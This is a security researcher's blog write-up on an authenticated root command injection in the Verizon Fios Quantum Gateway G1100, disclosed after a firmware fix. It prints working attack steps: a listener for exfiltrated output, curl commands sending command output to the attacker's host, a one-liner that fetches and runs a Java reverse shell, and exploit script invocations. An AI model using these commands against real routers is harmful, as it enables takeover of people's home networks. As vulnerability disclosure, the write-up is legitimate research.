Verizon Fios Router Authenticated Command Injection

Chris Lyne
Tenable TechBlog
Published in
7 min readApr 9, 2019

Rooting the Verizon Fios Quantum Gateway

FiOS G1100

Ever seen one of these? It’s the Verizon Fios Quantum Gateway (G1100). If you’re a Fios residential customer, you probably wouldn’t have Wi-Fi without it.

I poked around in the Fios router’s administrative web interface, and I discovered a few vulnerabilities:

  1. Authenticated command injection (with root privileges)
  2. Login replay
  3. Password salt disclosure

If a successful attack was mounted, the attacker would have complete control of your network.

To keep things relatively brief, I’m only going to discuss the command injection. From a technical perspective, I think it’s the most interesting, and it gets you root on the router. If you’re intrigued by the other bugs, take a look our Tenable Research Advisory. Additionally, for details related to customer impact, check out the Tenable blog.

Casually Finding a Bug

One lazy afternoon, I was toying around in the web interface of a Verizon router to see what I could find. I performed some basic poking and prodding. I attempted SQL injections, entered XSS payloads, and injected OS commands (the normal stuff). No errors were returned that hinted at the presence of a vulnerability.

The application allows you to configure whether SSH access is allowed or not. To satisfy my curiosity, I enabled it and logged in.

Enabled SSH on Router

There really wasn’t much that could be done inside the shell because it was BusyBox. If you’re not familiar with BusyBox, it “combines tiny versions of many common UNIX utilities into a single small executable.” In this case, not many utilities were provided. Notice the mere 26 utilities available when I pressed the tab key after logging in.

BusyBox

After perusing the file system a bit, the most interesting thing I found was a directory containing log files.

Log File Listing

I stumbled upon this entry in the “user” log file:

bhr4: Firewall.AccessControlRulesLog: Failed to delete rules: iptables -A AC_B_13_NWOBJ_1 -s tenable -j AC_B_13_SERVICES

Notice the “iptables” command being issued. Clearly, I must have entered “tenable” in here at some point. That got me thinking… I wonder if I can inject an OS command into this. Clearly, this has to do with Access Control rules in the Firewall settings. I investigated the web interface to see if I could find “tenable” anywhere.

Sure enough, “tenable” was entered as the host name for a firewall rule. Specifically, a “network object” (see Advanced tab) was created and subsequently specified in the access control rule.

Firewall Access Control Rules

Next, I fired up “tcpdump” and injected the command “ping -c 1 192.168.1.191” to hopefully ping my machine once. Tcpdump displayed a successful ping.

$ sudo tcpdump -ni en0 “icmp”
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on en0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:22:24.788350 IP 192.168.1.1 > 192.168.1.191: ICMP echo request, id 49484, seq 0, length 64

Side Note: I did encounter some client-side input validation. However, client-side validation can be easily bypassed with the Burp Suite proxy.

Input Validation Encountered

Now that we have command execution…the next step is to get an interactive shell.

Getting a Shell

Given that commands can be injected, it is reasonable to assume we can get a shell somehow. In order to do that, we need to enumerate the system. We need to learn more about the device and operating system by capturing the output of our commands.

Viewing Command Output

With the current capabilities, I could execute a command, but I couldn’t view the output. Luckily the “curl” command was available on the router, and it is simple to set up an HTTP server with Python. So I sent command output (Base64 encoded) to my HTTP listener in the GET query string.

Here is the Python (2.7) listener code:

1 from http.server import HTTPServer, BaseHTTPRequestHandler
2 from base64 import decodestring
3
4 PORT_NUMBER = 8080
5
6 class MyHTTPD(BaseHTTPRequestHandler):
7 def do_GET(self):
8 self.send_response(200)
9 data = self.path.replace('/', '') # remove leading slash
10 decoded = decodestring(data)
11 print "Received : '" + decoded + "'"
12 msg = 'ok'
13 self.end_headers()
14 self.wfile.write(str.encode(msg))
15
16 httpd = HTTPServer(('', PORT_NUMBER), MyHTTPD)
17
18 print('Serving...')
19 httpd.serve_forever()

I could send a payload like this to determine which user we have command execution as:

`curl http://192.168.1.191:8080/$(whoami|base64)`

My HTTP listener output revealed that the user is root:

$ python base64_listener.py 
Serving…
192.168.1.1 — — [14/Dec/2018 14:00:54] “GET /cm9vdAo= HTTP/1.1” 200 -
Received : ‘root

With this method of executing OS commands and capturing the output, the next step is to enumerate the system to determine how we will get a shell using what we’ve got. Sadly, a bash reverse shell one-liner didn’t work out.

There is a JVM

This is the point where I ran a bunch of commands to figure out what the OS and architecture are, where files can be written to, and ultimately, the best method of getting that shell. I won’t bore you with all of the commands, so here is what I found out:

  • It’s a Linux OS with an ARMv71 architecture
  • Many of the mounted file systems were read-only. However, /mnt/config was writable.

After enumerating the system for clues on how to best get a shell, and thanks to Jake, I discovered an embedded JVM. Check out the output of the “ps” command:

1767 root 47464 S < /usr/local/jvm/bin/siege -Xss200k -Xms30M -Xmx30M -Dceej.net.ssl.norootcerts -Dceej.net.ssl.disable.buffer (truncated)

Does that look like a JVM to you? I had never heard of “siege”, but a quick invocation revealed it definitely runs Java code:

usage: /usr/local/jvm/bin/siege [-options] class [arguments] or
usage: /usr/local/jvm/bin/siege -jar [-options] jarfile [arguments]

At this point, the strategy was clear. My goal was to upload a Java reverse shell and execute it.

In order to execute a Java reverse shell, the first step is to simply upload and execute a Java class. I accomplished this by programming the HTTP listener to return a Base64-encoded, compiled Java class in the response body. Additionally, the Java code was compiled for the target JVM (Java SE 1.8).

Java Reverse Shell

Here is what the command injection exploit looks like to upload and execute a Java reverse shell payload. My HTTP listener’s IP is 192.168.1.191:

`cd /mnt/config && curl http://192.168.1.191:8080/ -o sh_b64 && base64 -d sh_b64 > ReverseTcpShell.class && /usr/local/jvm/bin/siege ReverseTcpShell 192.168.1.191 4444 &`

Let’s break it down:

  1. cd /mnt/config
  • First the working directory is changed to the writable /mnt/config directory.

2. curl http://192.168.1.191:8080/ -o sh_b64

  • Next curl is used to download the Base64 encoded Java reverse shell class. It is saved as a file named “sh_b64". Remember, the listener returns this

3. base64 -d sh_b64 > ReverseTcpShell.class

  • The “sh_b64" file is Base64 decoded and written as “ReverseTcpShell.class”.

4. /usr/local/jvm/bin/siege ReverseTcpShell 192.168.1.191 4444 &

  • Finally, the ReverseTcpShell class is launched using the “siege” embedded JVM. This will connect back to the Netcat listener at IP 192.168.1.191 listening on TCP port 4444. This process is backgrounded (&).

Here is the reverse TCP shell Java code if you’re interested.

Full Exploit

The full exploit code is much too long to paste into this write-up, so I won’t do that. However, I’d like to point out that the exploit can be launched by providing either a plaintext password or a salted password hash (CVE-2019–3915) as a command line parameter. Either of these will ensure the script can log into the router’s web interface.

Below is an example invocation of the exploit with the hash:

$ hash=5e619e19824b1072f89ff309e3896b1b6dd31aebfab1698b2662d97352d9da9fbdbf7c165239a2214bdf9ae512821e78875a1b515bd4140ec919dda201f1001e
$ python verizon_g1100_cmd_injection.py -t 192.168.1.1 -hash $hash -ip 192.168.1.191 -ship 192.168.1.191

Or the password can be supplied:

$ python verizon_g1100_cmd_injection.py -t 192.168.1.1 -pw password123 -ip 192.168.1.191 -ship 192.168.1.191

Here is a video of the exploit in action. A reverse shell connection is established with root privileges.

PoC Video

Final Thoughts

It’s no secret that the Verizon Fios Quantum Gateway was co-developed by Greenwave Systems on their Axon platform. It is not uncommon for hardware and software vendors to collaborate. This is a good example of how two separate entities worked together to create a patch in a timely manner. Lastly, a firmware update (version 02.02.00.13) has been released to address the bugs. For more information on the Fios vulnerabilities, check out the Tenable Research Advisory.

--

--

Chris Lyne
Tenable TechBlog

Chris is a security researcher. He is a former developer and aims to make the cyber world more secure.